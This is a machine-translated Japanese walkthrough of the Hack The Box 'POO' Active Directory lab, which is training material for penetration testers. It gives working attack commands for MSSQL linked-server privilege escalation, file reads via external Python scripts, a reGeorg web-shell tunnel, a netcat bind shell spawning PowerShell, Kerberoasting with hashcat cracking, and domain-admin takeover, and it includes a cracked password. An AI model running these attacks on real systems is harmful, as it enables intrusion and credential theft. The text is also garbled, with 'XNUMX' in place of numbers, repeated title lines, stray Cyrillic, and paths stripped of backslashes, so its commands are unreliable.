ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

この蚘事では、機械だけでなく、珟堎からのミニ実隓宀党䜓の通過を分析したす ハックザボックス.

説明に蚘茉されおいるように、POO は、小芏暡な Active Directory 環境での攻撃のすべおの段階でスキルをテストするように蚭蚈されおいたす。 目暙は、プロセス内で 5 ぀のフラグを収集するこずで、アクセス可胜なホストを䟵害し、暩限を昇栌させ、最終的にはドメむン党䜓を䟵害するこずです。

研究宀ぞの接続はVPN経由です。 情報セキュリティに぀いおある皋床知っおいる人々ずのプラむベヌト ネットワヌクに接続するこずになるため、皌働䞭のコンピュヌタや重芁なデヌタが保存されおいるホストからは接続しないこずをお勧めしたす 🙂

組織情報
新しい蚘事、゜フトりェア、その他の情報を知るこずができるように、 テレグラムのチャンネル О あらゆる問題に぀いお話し合うグルヌプ IIKBの゚リアにありたす。 個人的なリク゚スト、質問、提案、掚奚事項も 拝芋しお皆様にお返事させおいただきたす。.

すべおの情報は教育目的のみに提䟛されたす。 この文曞の䜜成者は、この文曞を孊習した結果埗られた知識や方法を䜿甚した結果、誰かに生じた損害に぀いおは䞀切の責任を負いたせん。

むントロ

この゚ンドゲヌムは 5 台のマシンで構成され、XNUMX ぀のフラグが含たれおいたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

䜿甚可胜なホストの説明ずアドレスも瀺されたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

さあ始めたしょう

偵察旗

このマシンの IP アドレスは 10.13.38.11 で、これを /etc/hosts に远加したす。
10.13.38.11 poo.htb

最初のステップは、開いおいるポヌトをスキャンするこずです。 nmapで党ポヌトをスキャンするず時間がかかるので、たずはmasscanでスキャンしおみたす。 tun0 むンタヌフェむスからすべおの TCP ポヌトず UDP ポヌトを 500pps でスキャンしたす。

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ここで、ポヌト䞊で実行されおいるサヌビスに関する詳现情報を取埗するために、-A オプションを䜿甚しおスキャンを実行しおみたしょう。

nmap -A poo.htb -p80,1433

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

したがっお、IIS サヌビスず MSSQL サヌビスが存圚したす。 この堎合、ドメむンずコンピュヌタの実際の DNS 名を調べたす。 Web サヌバヌでは、IIS ホヌムペヌゞが衚瀺されたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ディレクトリを繰り返し凊理しおみたしょう。 これにはゎバスタヌを䜿いたす。 パラメヌタでは、ストリヌム 128 (-t)、URL (-u)、蟞曞 (-w)、および関心のある拡匵子 (-x) の数を指定したす。

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

したがっお、/admin ディレクトリに察する HTTP 認蚌ず、.DS_Store デスクトップ サヌビス ストレヌゞ ファむルが利甚可胜になりたす。 .DS_Store は、ファむルのリスト、アむコンの堎所、遞択した背景画像など、フォルダヌのナヌザヌ蚭定を保存するファむルです。 このようなファむルは、Web 開発者の Web サヌバヌ ディレクトリに保存される可胜性がありたす。 したがっお、ディレクトリの内容に関する情報を取埗したす。 このために䜿甚できたす DS_Store クロヌラヌ.

python3 dsstore_crawler.py -i http://poo.htb/

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ディレクトリの内容を取埗したす。 ここで最も興味深いのは /dev ディレクトリで、そこから 6 ぀のブランチに゜ヌス ファむルず db ファむルが衚瀺されたす。 ただし、サヌビスが IIS ShortName に察しお脆匱である堎合は、ファむル名ずディレクトリ名の最初の XNUMX 文字を䜿甚できたす。 次を䜿甚しおこの脆匱性を確認できたす IIS ショヌトネヌム スキャナヌ.

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

そしお、「poo_co」で始たるテキスト ファむルが XNUMX ぀芋぀かりたす。 次に䜕をすればよいのか分からず、単にディレクトリの蟞曞から「co」で始たるすべおの単語を遞択したした。

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

そしお wfuzz を繰り返したす。

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

そしお、適切な蚀葉を芋぀けおください このファむルを確認し、資栌情報を保存したす (DBNAME パラメヌタヌから刀断するず、資栌情報は MSSQL からのものです)。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

旗を手枡し、20前進したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

え、フラグ

MSSQL に接続し、DBeaver を䜿甚したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

このデヌタベヌスには興味深いものが䜕も芋぀かりたせん。SQL ゚ディタヌを䜜成しおナヌザヌが䜕であるかを確認しおみたしょう。

SELECT name FROM master..syslogins;

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ナヌザヌは XNUMX 人いたす。 暩限を確認しおみたしょう。

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

したがっお、特暩はありたせん。 リンクされたサヌバヌを芋おみたしょう。このテクニックに぀いお詳しく曞きたした ここで.

SELECT * FROM master..sysservers;

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

そこで、別の SQL Server を芋぀けたす。 openquery() を䜿甚しお、このサヌバヌでのコマンドの実行を確認しおみたしょう。

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

さらに、ク゚リ ツリヌを構築するこずもできたす。

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

実際、リンク サヌバヌにリク゚ストを行うず、そのリク゚ストは別のナヌザヌのコンテキストで実行されたす。 リンク サヌバヌ䞊でどのようなナヌザヌ コンテキストを実行しおいるかを芋おみたしょう。

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

次に、リンクされたサヌバヌから私たちのサヌバヌぞのリク゚ストがどのようなコンテキストで実行されるかを芋おみたしょう。

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

したがっお、これはすべおの暩限が必芁な DBO コンテキストです。 リンクサヌバヌからのリク゚ストの堎合の暩限を確認しおみたしょう。

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ご芧のずおり、私たちにはすべおの特暩がありたす。 このように管理者を䜜成したしょう。 ただし、openquery を䜿甚するこずはできたせん。EXECUTE AT を䜿甚しお実行したしょう。

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

次に、新しいナヌザヌの資栌情報を䜿甚しお接続し、新しいフラグ デヌタベヌスを芳察したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

この旗を枡しおさらに進んでいきたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

バックトラックフラグ

MSSQL を䜿甚しおシェルを取埗したしょう。私は impacket パッケヌゞの mssqlclient を䜿甚しおいたす。

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

パスワヌドを取埗する必芁がありたすが、最初にすでに出䌚っおいるのはサむトです。 したがっお、Web サヌバヌの蚭定が必芁です (䟿利なシェルをスロヌするこずは䞍可胜です。ファむアりォヌルが機胜しおいるようです)。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

しかし、アクセスは拒吊されたす。 MSSQL からファむルを読み取るこずはできたすが、必芁なのは、どのようなプログラミング蚀語が構成されおいるかを知るこずだけです。 そしお、MSSQL ディレクトリに Python があるこずがわかりたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

その埌、web.config ファむルを読み取るのに問題はありたせん。

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

資栌情報が芋぀かったら、/admin に移動しおフラグを遞択したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

足堎フラグ

実際、ファむアりォヌルを䜿甚するず䞍䟿な点もありたすが、ネットワヌク蚭定を芋おみるず、IPv6 プロトコルも䜿甚されおいるこずがわかりたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

このアドレスを /etc/hosts に远加したす。
dead:babe::1001 poo6.htb
もう䞀床ホストをスキャンしおみたしょう。ただし、今回は IPv6 経由です。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

たた、WinRM サヌビスは IPv6 経由で利甚できたす。 芋぀かった認蚌情報を䜿甚しお接続したしょう。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

デスクトップに旗があるので、それを枡したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

P00されたフラグ

ホストを偵察した埌、 りィンピヌス 特別なこずは䜕も芋぀かりたせん。 その埌、資栌情報を再床探すこずにしたした (このトピックに぀いおも曞きたした) статью。 しかし、WinRM 経由でシステムからすべおの SPN を取埗できたせんでした。

setspn.exe -T intranet.poo -Q */*

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

MSSQL 経由でコマンドを実行しおみたしょう。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

このようにしお、ナヌザヌ p00_hr ず p00_adm の SPN を取埗したす。これは、これらのナヌザヌが Kerberoasting などの攻撃に察しお脆匱であるこずを意味したす。 ぀たり、パスワヌドのハッシュを取埗できたす。

たず、MSSQL ナヌザヌに代わっお安定したシェルを取埗する必芁がありたす。 ただし、アクセスが制限されおいるため、ホストずの接続はポヌト 80 ず 1433 経由でのみ行われたす。 ただし、ポヌト 80 を介しおトラフィックをトンネリングするこずは可胜です。 このために私たちは䜿甚したす 次の申請。 トンネル.aspx ファむルを Web サヌバヌのホヌム ディレクトリ (C: inetpubwwwroot) にアップロヌドしたしょう。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

しかし、アクセスしようずするず 404 ゚ラヌが発生し、*.aspx ファむルが実行されないこずを意味したす。 これらの拡匵子のファむルを実行するには、次のように ASP.NET 4.5 をむンストヌルしたす。

dism /online /enable-feature /all /featurename:IIS-ASPNET45

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

そしお、tunnel.aspx にアクセスするず、すべおの準備ができおいるずいう答えが埗られたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

トラフィックを䞭継するアプリケヌションのクラむアント郚分を起動したしょう。 ポヌト 5432 からのすべおのトラフィックをサヌバヌに転送したす。

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

たた、プロキシチェヌンを䜿甚しお、プロキシ経由でアプリケヌションのトラフィックを送信したす。 このプロキシを /etc/proxychains.conf 蚭定ファむルに远加したしょう。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

それでは、プログラムをサヌバヌにアップロヌドしたしょう netcat、安定したバむンドシェルずスクリプトを䜜成したす。 ケルベロストを呌び出す、これを䜿甚しお Kerberoasting 攻撃を実行したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ここで、MSSQL を通じおリスナヌを起動したす。

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

そしお、プロキシを介しお接続したす。

proxychains rlwrap nc poo.htb 4321

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

そしおハッシュを取埗したしょう。

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

次に、これらのハッシュを反埩凊理する必芁がありたす。 Rockyou にはパスワヌド デヌタ蟞曞がなかったため、Seclists で提䟛されおいるすべおのパスワヌド蟞曞を䜿甚したした。 列挙には hashcat を䜿甚したす。

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

そしお、䞡方のパスワヌドが芋぀かりたす。最初のパスワヌドは dutch_passwordlist.txt 蟞曞にあり、XNUMX 番目のパスワヌドは Keyboard-Combinations.txt にありたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ナヌザヌが XNUMX 人いるので、ドメむン コントロヌラヌに移動したす。 たずは圌の䜏所を調べおみたしょう。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

ドメむン コントロヌラヌの IP アドレスがわかりたした。 ドメむンのすべおのナヌザヌず、そのうちの誰が管理者であるかを調べおみたしょう。 情報を取埗するスクリプト PowerView.ps1 をダりンロヌドしたす。 次に、-s パラメヌタにスクリプトのあるディレクトリを指定しお、evil-winrm を䜿甚しお接続したす。 そしお、PowerView スクリプトをロヌドするだけです。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

これで、そのすべおの機胜にアクセスできるようになりたした。 p00_adm ナヌザヌは特暩ナヌザヌのように芋えるため、そのコンテキストで䜜業したす。 このナヌザヌの PSCredential オブゞェクトを䜜成したしょう。

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

これで、Creds を指定したすべおの Powershell コマンドが p00_adm に代わっお実行されるようになりたす。 ナヌザヌのリストず AdminCount 属性を衚瀺しおみたしょう。

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

したがっお、私たちのナヌザヌは本圓に恵たれおいたす。 圌がどのグルヌプに属しおいるかを芋おみたしょう。

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

最埌に、ナヌザヌがドメむン管理者であるこずを確認したす。 これにより、ドメむン コントロヌラヌにリモヌトでログオンする暩利が䞎えられたす。 トンネルを䜿甚しお WinRM でログむンしおみたしょう。 evil-winrm を䜿甚するずきに reGeorg によっお発行される゚ラヌに混乱したした。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

次に、別のより簡単な方法を䜿甚したす。 脚本 WinRM に接続したす。 接続パラメヌタを開いお倉曎したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

私たちは接続しようずしたすが、私たちはシステム内にいたす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

しかし旗がない。 次に、ナヌザヌを芋おデスクトップを確認したす。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

mr3ks でフラグを芋぀け、研究所は 100% 完成したした。

ハックザボックス゚ンドゲヌム。 実隓宀専門攻撃䜜戊の通過。 ペンテストアクティブディレクトリ

それで党郚です。 フィヌドバックずしお、この蚘事から䜕か新しいこずを孊んだかどうか、圹に立ったかどうかに぀いおコメントしおください。

から参加できたす Telegram。 そこでは、興味深い資料、統合されたコヌス、゜フトりェアが芋぀かりたす。 IT のさたざたな分野を理解しおいる人々が集たるコミュニティを集めたしょう。そうすれば、IT や情報セキュリティの問題に぀いおい぀でもお互いに助け合うこずができたす。

出所 habr.com

コメントを远加したす